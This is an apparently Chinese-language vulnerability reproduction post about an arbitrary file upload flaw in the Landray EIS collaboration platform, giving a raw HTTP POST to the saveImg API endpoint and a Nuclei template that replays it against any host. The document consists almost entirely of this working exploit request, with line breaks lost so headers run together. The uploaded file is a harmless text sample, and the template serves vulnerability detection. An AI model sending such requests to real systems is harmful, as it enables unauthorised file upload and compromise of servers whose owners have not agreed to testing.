漏洞复现|蓝凌EIS智慧协同平台任意文件上传

POST /eis/service/api.aspx?action=saveImg HTTP/1.1Host: xxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 185Origin: xxxxxxxxConnection: closeCookie: ASP.NET_SessionId=dthhzbzqgnlhck454ctpxa55; Lang=zh-cnUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu------WebKitFormBoundaryxdgaqmquContent-Disposition: form-data; name="file"filename="aaaaaaa.txt"Content-Type: text/htmlafhsahgsdaihguisabghs------WebKitFormBoundaryxdgaqmqu--

id: lanling-uploadinfo:  name: lanling-upload  author: xxxx  severity: info  description: description  reference:    - https://  tags: tagsrequests:  - raw:      - |-        POST /eis/service/api.aspx?action=saveImg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate        Connection: close        Cookie: Lang=zh-cn; ASP.NET_SessionId=qaygc4nrdrf1flm3vzor04zz        Content-Length: 185        Upgrade-Insecure-Requests: 1        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu        ------WebKitFormBoundaryxdgaqmqu        Content-Disposition: form-data; name="file"filename="aaaaaaa.txt"        Content-Type: text/html        afhsahgsdaihguisabghs        ------WebKitFormBoundaryxdgaqmqu--    matchers-condition: and    matchers:      - type: word        part: body        words:          - txt      - type: status        status:          - 200